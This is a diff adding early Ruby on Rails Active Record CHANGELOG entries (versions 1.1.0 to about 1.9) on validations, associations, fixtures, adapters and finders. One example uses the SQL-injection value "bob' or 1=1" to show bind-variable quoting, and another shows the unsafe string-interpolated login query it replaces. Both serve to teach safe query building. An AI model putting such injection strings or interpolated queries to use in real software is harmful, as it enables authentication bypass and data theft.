+ Developer.find_all nil, 'id ASC', [3, 8] # return three developers, starting from #8 and forward
+
+ This doesn't yet work with the DB2 or MS SQL adapters. Patches to make that happen are encouraged.
+
+* Added alias_method :to_param, :id to Base, such that Active Record objects to be used as URL parameters in Action Pack automatically #812 *Nicholas Seckar/Sam Stephenson*
+
+* Improved the performance of the OCI8 adapter for Oracle #723 *pilx/gjenkins*
+
+* Added type conversion before saving a record, so string-based values like "10.0" aren't left for the database to convert #820 *dave@cherryville.org*
+
+* Added with additional settings for working with transactional fixtures and pre-loaded test databases #865 *mindel*
+
+* Fixed acts_as_list to trigger remove_from_list on destroy after the fact, not before, so a unique position can be maintained #871 *Alisdair McDiarmid*
+
+* Added the possibility of specifying fixtures in multiple calls #816 *kim@tinker.com*
+
+* Added Base.exists?(id) that'll return true if an object of the class with the given id exists #854 *stian@grytoyr.net*
+
+* Added optionally allow for nil or empty strings with validates_numericality_of #801 *Sebastian Kanthak*
+
+* Fixed problem with using slashes in validates_format_of regular expressions #801 *Sebastian Kanthak*
+
+* Fixed that SQLite3 exceptions are caught and reported properly #823 *yerejm*
+
+* Added that all types of after_find/after_initialized callbacks are triggered if the explicit implementation is present, not only the explicit implementation itself
+
+* Fixed that symbols can be used on attribute assignment, like page.emails.create(:subject => data.subject, :body => data.body)
+
+
+## 1.8.0 (7th March, 2005) ##
+
+* Added ActiveRecord::Base.colorize_logging to control whether to use colors in logs or not (on by default)
+
+* Added support for timestamp with time zone in PostgreSQL #560 *Scott Barron*
+
+* Added MultiparameterAssignmentErrors and AttributeAssignmentError exceptions #777 [demetrius]. Documentation:
+
+ * +MultiparameterAssignmentErrors+ -- collection of errors that occurred during a mass assignment using the
+ +attributes=+ method. The +errors+ property of this exception contains an array of +AttributeAssignmentError+
+ objects that should be inspected to determine which attributes triggered the errors.
+ * +AttributeAssignmentError+ -- an error occurred while doing a mass assignment through the +attributes=+ method.
+ You can inspect the +attribute+ property of the exception object to determine which attribute triggered the error.
+
+* Fixed that postgresql adapter would fails when reading bytea fields with null value #771 *rodrigo k*
+
+* Added transactional fixtures that uses rollback to undo changes to fixtures instead of DELETE/INSERT -- it's much faster. See documentation under Fixtures #760 *Jeremy Kemper*
+
+* Added destruction of dependent objects in has_one associations when a new assignment happens #742 [mindel]. Example:
+
+ class Account < ActiveRecord::Base
+ has_one :credit_card, :dependent => true
+ end
+ class CreditCard < ActiveRecord::Base
+ belongs_to :account
+ end
+
+ account.credit_card # => returns existing credit card, lets say id = 12
+ account.credit_card = CreditCard.create("number" => "123")
+ account.save # => CC with id = 12 is destroyed
+
+
+* Added validates_numericality_of #716 [Sebastian Kanthak/Chris McGrath]. Docuemntation:
+
+ Validates whether the value of the specified attribute is numeric by trying to convert it to
+ a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
+ <tt>/^[\+\-]?\d+$/</tt> (if <tt>integer</tt> is set to true).
+
+ class Person < ActiveRecord::Base
+ validates_numericality_of :value, :on => :create
+ end
+
+ Configuration options:
+ * <tt>message</tt> - A custom error message (default is: "is not a number")
+ * <tt>on</tt> Specifies when this validation is active (default is :save, other options :create, :update)
+ * <tt>only_integer</tt> Specifies whether the value has to be an integer, e.g. an integral value (default is false)
+
+
+* Fixed that HasManyAssociation#count was using :finder_sql rather than :counter_sql if it was available #445 *Scott Barron*
+
+* Added better defaults for composed_of, so statements like composed_of :time_zone, :mapping => %w( time_zone time_zone ) can be written without the mapping part (it's now assumed)
+
+* Added MacroReflection#macro which will return a symbol describing the macro used (like :composed_of or :has_many) #718, #248 *james@slashetc.com*
+
+
+## 1.7.0 (24th February, 2005) ##
+
+* Changed the auto-timestamping feature to use ActiveRecord::Base.default_timezone instead of entertaining the parallel ActiveRecord::Base.timestamps_gmt method. The latter is now deprecated and will throw a warning on use (but still work) #710 *Jamis Buck*
+
+* Added a OCI8-based Oracle adapter that has been verified to work with Oracle 8 and 9 #629 [Graham Jenkins]. Usage notes:
+
+ 1. Key generation uses a sequence "rails_sequence" for all tables. (I couldn't find a simple
+ and safe way of passing table-specific sequence information to the adapter.)
+ 2. Oracle uses DATE or TIMESTAMP datatypes for both dates and times. Consequently I have had to
+ resort to some hacks to get data converted to Date or Time in Ruby.
+ If the column_name ends in _at (like created_at, updated_at) it's created as a Ruby Time. Else if the
+ hours/minutes/seconds are 0, I make it a Ruby Date. Else it's a Ruby Time.
+ This is nasty - but if you use Duck Typing you'll probably not care very much.
+ In 9i it's tempting to map DATE to Date and TIMESTAMP to Time but I don't think that is
+ valid - too many databases use DATE for both.
+ Timezones and sub-second precision on timestamps are not supported.
+ 3. Default values that are functions (such as "SYSDATE") are not supported. This is a
+ restriction of the way active record supports default values.
+ 4. Referential integrity constraints are not fully supported. Under at least
+ some circumstances, active record appears to delete parent and child records out of
+ sequence and out of transaction scope. (Or this may just be a problem of test setup.)
+
+ The OCI8 driver can be retrieved from http://rubyforge.org/projects/ruby-oci8/
+
+* Added option :schema_order to the PostgreSQL adapter to support the use of multiple schemas per database #697 *YuriSchimke*
+
+* Optimized the SQL used to generate has_and_belongs_to_many queries by listing the join table first #693 *yerejm*
+
+* Fixed that when using validation macros with a custom message, if you happened to use single quotes in the message string you would get a parsing error #657 *tonka*
+
+* Fixed that Active Record would throw Broken Pipe errors with FCGI when the MySQL connection timed out instead of reconnecting #428 *Nicholas Seckar*
+
+* Added options to specify an SSL connection for MySQL. Define the following attributes in the connection config (config/database.yml in Rails) to use it: sslkey, sslcert, sslca, sslcapath, sslcipher. To use SSL with no client certs, just set :sslca = '/dev/null'. http://dev.mysql.com/doc/mysql/en/secure-connections.html #604 *daniel@nightrunner.com*
+
+* Added automatic dropping/creating of test tables for running the unit tests on all databases #587 *adelle@bullet.net.au*
+
+* Fixed that find_by_* would fail when column names had numbers #670 *demetrius*
+
+* Fixed the SQL Server adapter on a bunch of issues #667 *DeLynn*
+
+ 1. Created a new columns method that is much cleaner.
+ 2. Corrected a problem with the select and select_all methods
+ that didn't account for the LIMIT clause being passed into raw SQL statements.
+ 3. Implemented the string_to_time method in order to create proper instances of the time class.
+ 4. Added logic to the simplified_type method that allows the database to specify the scale of float data.
+ 5. Adjusted the quote_column_name to account for the fact that MS SQL is bothered by a forward slash in the data string.
+
+* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 *lmarlow*
+
+* Added validates_each that validates each specified attribute against a block #610 [Jeremy Kemper]. Example:
+
+ class Person < ActiveRecord::Base
+ validates_each :first_name, :last_name do |record, attr|
+ record.errors.add attr, 'starts with z.' if attr[0] == ?z
+ end
+ end
+
+* Added :allow_nil as an explicit option for validates_length_of, so unless that's set to true having the attribute as nil will also return an error if a range is specified as :within #610 *Jeremy Kemper*
+
+* Added that validates_* now accept blocks to perform validations #618 [Tim Bates]. Example:
+
+ class Person < ActiveRecord::Base
+ validate { |person| person.errors.add("title", "will never be valid") if SHOULD_NEVER_BE_VALID }
+ end
+
+* Addded validation for validate all the associated objects before declaring failure with validates_associated #618 *Tim Bates*
+
+* Added keyword-style approach to defining the custom relational bindings #545 [Jamis Buck]. Example:
+
+ class Project < ActiveRecord::Base
+ primary_key "sysid"
+ table_name "XYZ_PROJECT"
+ inheritance_column { original_inheritance_column + "_id" }
+ end
+
+* Fixed Base#clone for use with PostgreSQL #565 *hanson@surgery.wisc.edu*
+
+
+## 1.6.0 (January 25th, 2005) ##
+
+* Added that has_many association build and create methods can take arrays of record data like Base#create and Base#build to build/create multiple records at once.
+
+* Added that Base#delete and Base#destroy both can take an array of ids to delete/destroy #336
+
+* Added the option of supplying an array of attributes to Base#create, so that multiple records can be created at once.
+
+* Added the option of supplying an array of ids and attributes to Base#update, so that multiple records can be updated at once (inspired by #526/Duane Johnson). Example
+
+ people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy"} }
+ Person.update(people.keys, people.values)
+
+* Added ActiveRecord::Base.timestamps_gmt that can be set to true to make the automated timestamping use GMT instead of local time #520 *Scott Baron*
+
+* Added that update_all calls sanitize_sql on its updates argument, so stuff like MyRecord.update_all(['time = ?', Time.now]) works #519 *notahat*
+
+* Fixed that the dynamic finders didn't treat nil as a "IS NULL" but rather "= NULL" case #515 *Demetrius*
+
+* Added bind-named arrays for interpolating a group of ids or strings in conditions #528 *Jeremy Kemper*
+
+* Added that has_and_belongs_to_many associations with additional attributes also can be created between unsaved objects and only committed to the database when Base#save is called on the associator #524 *Eric Anderson*
+
+* Fixed that records fetched with piggy-back attributes or through rich has_and_belongs_to_many associations couldn't be saved due to the extra attributes not part of the table #522 *Eric Anderson*
+
+* Added mass-assignment protection for the inheritance column -- regardless of a custom column is used or not
+
+* Fixed that association proxies would fail === tests like PremiumSubscription === @account.subscription
+
+* Fixed that column aliases didn't work as expected with the new MySql411 driver #507 *Demetrius*
+
+* Fixed that find_all would produce invalid sql when called sequentialy #490 *Scott Baron*
+
+
+## 1.5.1 (January 18th, 2005) ##
+
+* Fixed that the belongs_to and has_one proxy would fail a test like 'if project.manager' -- this unfortunately also means that you can't call methods like project.manager.build unless there already is a manager on the project #492 *Tim Bates*
+
+* Fixed that the Ruby/MySQL adapter wouldn't connect if the password was empty #503 *Pelle*
+
+
+## 1.5.0 (January 17th, 2005) ##
+
+* Fixed that unit tests for MySQL are now run as the "rails" user instead of root #455 *Eric Hodel*
+
+* Added validates_associated that enables validation of objects in an unsaved association #398 [Tim Bates]. Example:
+
+ class Book < ActiveRecord::Base
+ has_many :pages
+ belongs_to :library
+
+ validates_associated :pages, :library
+ end
+
+* Added support for associating unsaved objects #402 [Tim Bates]. Rules that govern this addition:
+
+ == Unsaved objects and associations
+
+ You can manipulate objects and associations before they are saved to the database, but there is some special behaviour you should be
+ aware of, mostly involving the saving of associated objects.
+
+ === One-to-one associations
+
+ * Assigning an object to a has_one association automatically saves that object, and the object being replaced (if there is one), in
+ order to update their primary keys - except if the parent object is unsaved (new_record? == true).
+ * If either of these saves fail (due to one of the objects being invalid) the assignment statement returns false and the assignment
+ is cancelled.
+ * If you wish to assign an object to a has_one association without saving it, use the #association.build method (documented below).
+ * Assigning an object to a belongs_to association does not save the object, since the foreign key field belongs on the parent. It does
+ not save the parent either.
+
+ === Collections
+
+ * Adding an object to a collection (has_many or has_and_belongs_to_many) automatically saves that object, except if the parent object
+ (the owner of the collection) is not yet stored in the database.
+ * If saving any of the objects being added to a collection (via #push or similar) fails, then #push returns false.
+ * You can add an object to a collection without automatically saving it by using the #collection.build method (documented below).
+ * All unsaved (new_record? == true) members of the collection are automatically saved when the parent is saved.
+
+* Added replace to associations, so you can do project.manager.replace(new_manager) or project.milestones.replace(new_milestones) #402 *Tim Bates*
+
+* Added build and create methods to has_one and belongs_to associations, so you can now do project.manager.build(attributes) #402 *Tim Bates*
+
+* Added that if a before_* callback returns false, all the later callbacks and the associated action are cancelled. If an after_* callback returns false, all the later callbacks are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks defined as methods on the model, which are called last. #402 *Tim Bates*
+
+* Fixed that Base#== wouldn't work for multiple references to the same unsaved object #402 *Tim Bates*
+
+* Fixed binary support for PostgreSQL #444 *alex@byzantine.no*
+
+* Added a differenciation between AssociationCollection#size and -length. Now AssociationCollection#size returns the size of the
+ collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and calling collection.size if it has. If
+ it's more likely than not that the collection does have a size larger than zero and you need to fetch that collection afterwards,
+ it'll take one less SELECT query if you use length.
+
+* Added Base#attributes that returns a hash of all the attributes with their names as keys and clones of their objects as values #433 *atyp.de*
+
+* Fixed that foreign keys named the same as the association would cause stack overflow #437 *Eric Anderson*
+
+* Fixed default scope of acts_as_list from "1" to "1 = 1", so it'll work in PostgreSQL (among other places) #427 *Alexey*
+
+* Added Base#reload that reloads the attributes of an object from the database #422 *Andreas Schwarz*
+
+* Added SQLite3 compatibility through the sqlite3-ruby adapter by Jamis Buck #381 *Jeremy Kemper*
+
+* Added support for the new protocol spoken by MySQL 4.1.1+ servers for the Ruby/MySQL adapter that ships with Rails #440 *Matt Mower*
+
+* Added that Observers can use the observes class method instead of overwriting self.observed_class().
+
+ Before:
+ class ListSweeper < ActiveRecord::Base
+ def self.observed_class() [ List, Item ]
+ end
+
+ After:
+ class ListSweeper < ActiveRecord::Base
+ observes List, Item
+ end
+
+* Fixed that conditions in has_many and has_and_belongs_to_many should be interpolated just like the finder_sql is
+
+* Fixed Base#update_attribute to be indifferent to whether a string or symbol is used to describe the name
+
+* Added Base#toggle(attribute) and Base#toggle!(attribute) that makes it easier to flip a switch or flag.
+
+ Before: topic.update_attribute(:approved, !approved?)
+ After : topic.toggle!(:approved)
+
+* Added Base#increment!(attribute) and Base#decrement!(attribute) that also saves the records. Example:
+
+ page.views # => 1
+ page.increment!(:views) # executes an UPDATE statement
+ page.views # => 2
+
+ page.increment(:views).increment!(:views)
+ page.views # => 4
+
+* Added Base#increment(attribute) and Base#decrement(attribute) that encapsulates the += 1 and -= 1 patterns.
+
+
+## 1.4.0 (January 4th, 2005) ##
+
+* Added automated optimistic locking if the field <tt>lock_version</tt> is present. Each update to the
+ record increments the lock_version column and the locking facilities ensure that records instantiated twice
+ will let the last one saved raise a StaleObjectError if the first was also updated. Example:
+
+ p1 = Person.find(1)
+ p2 = Person.find(1)
+
+ p1.first_name = "Michael"
+ p1.save
+
+ p2.first_name = "should fail"
+ p2.save # Raises a ActiveRecord::StaleObjectError
+
+ You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging,
+ or otherwise apply the business logic needed to resolve the conflict.
+
+ \#384 *Michael Koziarski*
+
+* Added dynamic attribute-based finders as a cleaner way of getting objects by simple queries without turning to SQL.
+ They work by appending the name of an attribute to <tt>find_by_</tt>, so you get finders like <tt>Person.find_by_user_name,
+ Payment.find_by_transaction_id</tt>. So instead of writing <tt>Person.find_first(["user_name = ?", user_name])</tt>, you just do
+ <tt>Person.find_by_user_name(user_name)</tt>.
+
+ It's also possible to use multiple attributes in the same find by separating them with "_and_", so you get finders like
+ <tt>Person.find_by_user_name_and_password</tt> or even <tt>Payment.find_by_purchaser_and_state_and_country</tt>. So instead of writing
+ <tt>Person.find_first(["user_name = ? AND password = ?", user_name, password])</tt>, you just do
+ <tt>Person.find_by_user_name_and_password(user_name, password)</tt>.
+
+ While primarily a construct for easier find_firsts, it can also be used as a construct for find_all by using calls like
+ <tt>Payment.find_all_by_amount(50)</tt> that is turned into <tt>Payment.find_all(["amount = ?", 50])</tt>. This is something not as equally useful,
+ though, as it's not possible to specify the order in which the objects are returned.
+
+* Added block-style for callbacks #332 [Jeremy Kemper].
+
+ Before:
+ before_destroy(Proc.new{ |record| Person.destroy_all "firm_id = #{record.id}" })
+
+ After:
+ before_destroy { |record| Person.destroy_all "firm_id = #{record.id}" }
+
+* Added :counter_cache option to acts_as_tree that works just like the one you can define on belongs_to #371 *Josh Peek*
+
+* Added Base.default_timezone accessor that determines whether to use Time.local (using :local) or Time.utc (using :utc) when pulling dates
+ and times from the database. This is set to :local by default.
+
+* Added the possibility for adapters to overwrite add_limit! to implement a different limiting scheme than "LIMIT X" used by MySQL, PostgreSQL, and SQLite.
+
+* Added the possibility of having objects with acts_as_list created before their scope is available or...
+
+* Added a db2 adapter that only depends on the Ruby/DB2 bindings (http://raa.ruby-lang.org/project/ruby-db2/) #386 *Maik Schmidt*
+
+* Added the final touches to the Microsoft SQL Server adapter by Joey Gibson that makes it suitable for actual use #394 *DeLynn Barry*
+
+* Added that Base#find takes an optional options hash, including :conditions. Base#find_on_conditions deprecated in favor of #find with :conditions #407 *Jeremy Kemper*
+
+* Added HasManyAssociation#count that works like Base#count #413 *intinig*
+
+* Fixed handling of binary content in blobs and similar fields for Ruby/MySQL and SQLite #409 *xal*
+
+* Fixed a bug in the Ruby/MySQL that caused binary content to be escaped badly and come back mangled #405 *Tobias Lütke*
+
+* Fixed that the const_missing autoload assumes the requested constant is set by require_association and calls const_get to retrieve it.
+ If require_association did not set the constant then const_get will call const_missing, resulting in an infinite loop #380 *Jeremy Kemper*
+
+* Fixed broken transactions that were actually only running object-level and not db level transactions *andreas*
+
+* Fixed that validates_uniqueness_of used 'id' instead of defined primary key #406
+
+* Fixed that the overwritten respond_to? method didn't take two parameters like the original #391
+
+* Fixed quoting in validates_format_of that would allow some rules to pass regardless of input #390 *Dmitry V. Sabanin*
+
+
+## 1.3.0 (December 23, 2004) ##
+
+* Added a require_association hook on const_missing that makes it possible to use any model class without requiring it first. This makes STI look like:
+
+ before:
+ require_association 'person'
+ class Employee < Person
+ end
+
+ after:
+ class Employee < Person
+ end
+
+ This also reduces the usefulness of Controller.model in Action Pack to currently only being for documentation purposes.
+
+* Added that Base.update_all and Base.delete_all return an integer of the number of affected rows #341
+
+* Added scope option to validation_uniqueness #349 *Kent Sibilev*
+
+* Added respondence to *_before_type_cast for all attributes to return their string-state before they were type casted by the column type.
+ This is helpful for getting "100,000" back on a integer-based validation where the value would normally be "100".
+
+* Added allow_nil options to validates_inclusion_of so that validation is only triggered if the attribute is not nil *what-a-day*
+
+* Added work-around for PostgreSQL and the problem of getting fixtures to be created from id 1 on each test case.
+ This only works for auto-incrementing primary keys called "id" for now #359 *Scott Baron*
+
+* Added Base#clear_association_cache to empty all the cached associations #347 *Tobias Lütke*
+
+* Added more informative exceptions in establish_connection #356 *Jeremy Kemper*
+
+* Added Base#update_attributes that'll accept a hash of attributes and save the record (returning true if it passed validation, false otherwise).
+
+ Before:
+ person.attributes = @params["person"]
+ person.save
+
+ Now:
+ person.update_attributes(@params["person"])
+
+* Added Base.destroy and Base.delete to remove records without holding a reference to them first.
+
+* Added that query benchmarking will only happen if its going to be logged anyway #344
+
+* Added higher_item and lower_item as public methods for acts_as_list #342 *Tobias Lütke*
+
+* Fixed that options[:counter_sql] was overwritten with interpolated sql rather than original sql #355 *Jeremy Kemper*
+
+* Fixed that overriding an attribute's accessor would be disregarded by add_on_empty and add_on_boundary_breaking because they simply used
+ the attributes[] hash instead of checking for @base.respond_to?(attr.to_s). *Marten*
+
+* Fixed that Base.table_name would expect a parameter when used in has_and_belongs_to_many joins *Anna Lissa Cruz*
+
+* Fixed that nested transactions now work by letting the outer most transaction have the responsibilty of starting and rolling back the transaction.
+ If any of the inner transactions swallow the exception raised, though, the transaction will not be rolled back. So always let the transaction
+ bubble up even when you've dealt with local issues. Closes #231 and #340.
+
+* Fixed validates_{confirmation,acceptance}_of to only happen when the virtual attributes are not nil #348 *dpiddy@gmail.com*
+
+* Changed the interface on AbstractAdapter to require that adapters return the number of affected rows on delete and update operations.
+
+* Fixed the automated timestamping feature when running under Rails' development environment that resets the inheritable attributes on each request.
+
+
+
+## 1.2.0 ##
+
+* Added Base.validates_inclusion_of that validates whether the value of the specified attribute is available in a particular enumerable
+ object. *what-a-day*
+
+ class Person < ActiveRecord::Base
+ validates_inclusion_of :gender, :in=>%w( m f ), :message=>"woah! what are you then!??!!"
+ validates_inclusion_of :age, :in=>0..99
+ end
+
+* Added acts_as_list that can decorates an existing class with methods like move_higher/lower, move_to_top/bottom. [Tobias Lütke] Example:
+
+ class TodoItem < ActiveRecord::Base
+ acts_as_list :scope => :todo_list_id
+ belongs_to :todo_list
+ end
+
+* Added acts_as_tree that can decorates an existing class with a many to many relationship with itself. Perfect for categories in
+ categories and the likes. *Tobias Lütke*
+
+* Added that Active Records will automatically record creation and/or update timestamps of database objects if fields of the names
+ created_at/created_on or updated_at/updated_on are present. *Tobias Lütke*
+
+* Added Base.default_error_messages as a hash of all the error messages used in the validates_*_of so they can be changed in one place *Tobias Lütke*
+
+* Added automatic transaction block around AssociationCollection.<<, AssociationCollection.delete, and AssociationCollection.destroy_all
+
+* Fixed that Base#find will return an array if given an array -- regardless of the number of elements #270 *Marten*
+
+* Fixed that has_and_belongs_to_many would generate bad sql when naming conventions differed from using vanilla "id" everywhere *RedTerror*
+
+* Added a better exception for when a type column is used in a table without the intention of triggering single-table inheritance. Example:
+
+ ActiveRecord::SubclassNotFound: The single-table inheritance mechanism failed to locate the subclass: 'bad_class!'.
+ This error is raised because the column 'type' is reserved for storing the class in case of inheritance.
+ Please rename this column if you didn't intend it to be used for storing the inheritance class or
+ overwrite Company.inheritance_column to use another column for that information.
+
+* Added that single-table inheritance will only kick in if the inheritance_column (by default "type") is present. Otherwise, inheritance won't
+ have any magic side effects.
+
+* Added the possibility of marking fields as being in error without adding a message (using nil) to it that'll get displayed wth full_messages #208 *mjobin*
+
+* Fixed Base.errors to be indifferent as to whether strings or symbols are used. Examples:
+
+ Before:
+ errors.add(:name, "must be shorter") if name.size > 10
+ errors.on(:name) # => "must be shorter"
+ errors.on("name") # => nil
+
+ After:
+ errors.add(:name, "must be shorter") if name.size > 10
+ errors.on(:name) # => "must be shorter"
+ errors.on("name") # => "must be shorter"
+
+* Added Base.validates_format_of that Validates whether the value of the specified attribute is of the correct form by matching
+ it against the regular expression provided. *Marcel Molina Jr.*
+
+ class Person < ActiveRecord::Base
+ validates_format_of :email, :with => /^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/, :on => :create
+ end
+
+* Added Base.validates_length_of that delegates to add_on_boundary_breaking #312 [Tobias Lütke]. Example:
+
+ Validates that the specified attribute matches the length restrictions supplied in either:
+
+ - configuration[:minimum]
+ - configuration[:maximum]
+ - configuration[:is]
+ - configuration[:within] (aka. configuration[:in])
+
+ Only one option can be used at a time.
+
+ class Person < ActiveRecord::Base
+ validates_length_of :first_name, :maximum=>30
+ validates_length_of :last_name, :maximum=>30, :message=>"less than %d if you don't mind"
+ validates_length_of :user_name, :within => 6..20, :too_long => "pick a shorter name", :too_short => "pick a longer name"
+ validates_length_of :fav_bra_size, :minimum=>1, :too_short=>"please enter at least %d character"
+ validates_length_of :smurf_leader, :is=>4, :message=>"papa is spelled with %d characters... don't play me."
+ end
+
+* Added Base.validate_presence as an alternative to implementing validate and doing errors.add_on_empty yourself.
+
+* Added Base.validates_uniqueness_of that alidates whether the value of the specified attributes are unique across the system.
+ Useful for making sure that only one user can be named "davidhh".
+
+ class Person < ActiveRecord::Base
+ validates_uniqueness_of :user_name
+ end
+
+ When the record is created, a check is performed to make sure that no record exist in the database with the given value for the specified
+ attribute (that maps to a column). When the record is updated, the same check is made but disregarding the record itself.
+
+
+* Added Base.validates_confirmation_of that encapsulates the pattern of wanting to validate a password or email address field with a confirmation. Example:
+
+ Model:
+ class Person < ActiveRecord::Base
+ validates_confirmation_of :password
+ end
+
+ View:
+ <%= password_field "person", "password" %>
+ <%= password_field "person", "password_confirmation" %>
+
+ The person has to already have a password attribute (a column in the people table), but the password_confirmation is virtual.
+ It exists only as an in-memory variable for validating the password. This check is performed both on create and update.
+
+
+* Added Base.validates_acceptance_of that encapsulates the pattern of wanting to validate the acceptance of a terms of service check box (or similar agreement). Example:
+
+ class Person < ActiveRecord::Base
+ validates_acceptance_of :terms_of_service
+ end
+
+ The terms_of_service attribute is entirely virtual. No database column is needed. This check is performed both on create and update.
+
+ NOTE: The agreement is considered valid if it's set to the string "1". This makes it easy to relate it to an HTML checkbox.
+
+
+* Added validation macros to make the stackable just like the life cycle callbacks. Examples:
+
+ class Person < ActiveRecord::Base
+ validate { |record| record.errors.add("name", "too short") unless name.size > 10 }
+ validate { |record| record.errors.add("name", "too long") unless name.size < 20 }
+ validate_on_create :validate_password
+
+ private
+ def validate_password
+ errors.add("password", "too short") unless password.size > 6
+ end
+ end
+
+* Added the option for sanitizing find_by_sql and the offset parts in regular finds [Sam Stephenson]. Examples:
+
+ Project.find_all ["category = ?", category_name], "created ASC", ["? OFFSET ?", 15, 20]
+ Post.find_by_sql ["SELECT * FROM posts WHERE author = ? AND created > ?", author_id, start_date]
+
+* Fixed value quoting in all generated SQL statements, so that integers are not surrounded in quotes and that all sanitation are happening
+ through the database's own quoting routine. This should hopefully make it lots easier for new adapters that doesn't accept '1' for integer
+ columns.
+
+* Fixed has_and_belongs_to_many guessing of foreign key so that keys are generated correctly for models like SomeVerySpecialClient
+ *Florian Weber*
+
+* Added counter_sql option for has_many associations [Jeremy Kemper]. Documentation:
+
+ <tt>:counter_sql</tt> - specify a complete SQL statement to fetch the size of the association. If +:finder_sql+ is
+ specified but +:counter_sql+, +:counter_sql+ will be generated by replacing SELECT ... FROM with SELECT COUNT(*) FROM.
+
+* Fixed that methods wrapped in callbacks still return their original result #260 *Jeremy Kemper*
+
+* Fixed the Inflector to handle the movie/movies pair correctly #261 *Scott Baron*
+
+* Added named bind-style variable interpolation #281 [Michael Koziarski]. Example:
+
+ Person.find(["id = :id and first_name = :first_name", { :id => 5, :first_name = "bob' or 1=1" }])
+
+* Added bind-style variable interpolation for the condition arrays that uses the adapter's quote method *Michael Koziarski*
+
+ Before:
+ find_first([ "user_name = '%s' AND password = '%s'", user_name, password ])]
+ find_first([ "firm_id = %s", firm_id ])] # unsafe!
+
+ After:
+ find_first([ "user_name = ? AND password = ?", user_name, password ])]
+ find_first([ "firm_id = ?", firm_id ])]
+
+* Added CSV format for fixtures #272 [what-a-day]. (See the new and expanded documentation on fixtures for more information)
+
+* Fixed fixtures using primary key fields called something else than "id" *dave*
+
+* Added proper handling of time fields that are turned into Time objects with the dummy date of 2000/1/1 *HariSeldon*
+
+* Added reverse order of deleting fixtures, so referential keys can be maintained #247 *Tim Bates*
+
+* Added relative path search for sqlite dbfiles in database.yml (if RAILS_ROOT is defined) #233 *Jeremy Kemper*
+
+* Added option to establish_connection where you'll be able to leave out the parameter to have it use the RAILS_ENV environment variable
+
+* Fixed problems with primary keys and postgresql sequences (#230) *Tim Bates*
+
+* Added reloading for associations under cached environments like FastCGI and mod_ruby. This makes it possible to use those environments for development.
+ This is turned on by default, but can be turned off with ActiveRecord::Base.reload_dependencies = false in production environments.
+
+ NOTE: This will only have an effect if you let the associations manage the requiring of model classes. All libraries loaded through
+ require will be "forever" cached. You can, however, use ActiveRecord::Base.load_or_require("library") to get this behavior outside of the
+ auto-loading associations.
+
+* Added ERB capabilities to the fixture files for dynamic fixture generation. You don't need to do anything, just include ERB blocks like:
+
+ david:
+ id: 1
+ name: David
+
+ jamis:
+ id: 2
+ name: Jamis
+
+ <% for digit in 3..10 %>
+ dev_<%= digit %>:
+ id: <%= digit %>
+ name: fixture_<%= digit %>
+ <% end %>
+
+* Changed the yaml fixture searcher to look in the root of the fixtures directory, so when you before could have something like:
+
+ fixtures/developers/fixtures.yaml
+ fixtures/accounts/fixtures.yaml
+
+ ...you now need to do:
+
+ fixtures/developers.yaml
+ fixtures/accounts.yaml
+
+* Changed the fixture format from:
+
+ name: david
+ data:
+ id: 1
+ name: David Heinemeier Hansson
+ birthday: 1979-10-15
+ profession: Systems development
+ ---
+ name: steve
+ data:
+ id: 2
+ name: Steve Ross Kellock
+ birthday: 1974-09-27
+ profession: guy with keyboard
+
+ ...to:
+
+ david:
+ id: 1
+ name: David Heinemeier Hansson
+ birthday: 1979-10-15
+ profession: Systems development
+
+ steve:
+ id: 2
+ name: Steve Ross Kellock
+ birthday: 1974-09-27
+ profession: guy with keyboard
+
+ The change is NOT backwards compatible. Fixtures written in the old YAML style needs to be rewritten!
+
+* All associations will now attempt to require the classes that they associate to. Relieving the need for most explicit 'require' statements.
+
+
+## 1.1.0 (34) ##
+
+* Added automatic fixture setup and instance variable availability. Fixtures can also be automatically
+ instantiated in instance variables relating to their names using the following style:
+
+ class FixturesTest < Test::Unit::TestCase
+ fixtures :developers # you can add more with comma separation
+
+ def test_developers
+ assert_equal 3, @developers.size # the container for all the fixtures is automatically set
+ assert_kind_of Developer, @david # works like @developers["david"].find
+ assert_equal "David Heinemeier Hansson", @david.name
+ end
+ end
+
+* Added HasAndBelongsToManyAssociation#push_with_attributes(object, join_attributes) that can create associations in the join table with additional
+ attributes. This is really useful when you have information that's only relevant to the join itself, such as a "added_on" column for an association
+ between post and category. The added attributes will automatically be injected into objects retrieved through the association similar to the piggy-back
+ approach:
+
+ post.categories.push_with_attributes(category, :added_on => Date.today)
+ post.categories.first.added_on # => Date.today
+
+ NOTE: The categories table doesn't have a added_on column, it's the categories_post join table that does!
+
+* Fixed that :exclusively_dependent and :dependent can't be activated at the same time on has_many associations *Jeremy Kemper*
+
+* Fixed that database passwords couldn't be all numeric *Jeremy Kemper*
+
+* Fixed that calling id would create the instance variable for new_records preventing them from being saved correctly *Jeremy Kemper*
+
+* Added sanitization feature to HasManyAssociation#find_all so it works just like Base.find_all *Sam Stephenson/Jeremy Kemper*
+
+* Added that you can pass overlapping ids to find without getting duplicated records back *Jeremy Kemper*
+
+* Added that Base.benchmark returns the result of the block *Jeremy Kemper*
+
+* Fixed problem with unit tests on Windows with SQLite *paterno*
+
+* Fixed that quotes would break regular non-yaml fixtures *Dmitry Sabanin/daft*
+
+* Fixed fixtures on windows with line endings cause problems under unix / mac *Tobias Lütke*
+
+* Added HasAndBelongsToManyAssociation#find(id) that'll search inside the collection and find the object or record with that id
+
+* Added :conditions option to has_and_belongs_to_many that works just like the one on all the other associations
+
+* Added AssociationCollection#clear to remove all associations from has_many and has_and_belongs_to_many associations without destroying the records *geech*
+
+* Added type-checking and remove in 1-instead-of-N sql statements to AssociationCollection#delete *geech*
+
+* Added a return of self to AssociationCollection#<< so appending can be chained, like project << Milestone.create << Milestone.create *geech*
+
+* Added Base#hash and Base#eql? which means that all of the equality using features of array and other containers now works:
+
+ [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
+
+* Added :uniq as an option to has_and_belongs_to_many which will automatically ensure that AssociateCollection#uniq is called
+ before pulling records out of the association. This is especially useful for three-way (and above) has_and_belongs_to_many associations.
+
+* Added AssociateCollection#uniq which is especially useful for has_and_belongs_to_many associations that can include duplicates,
+ which is common on associations that also use metadata. Usage: post.categories.uniq
+
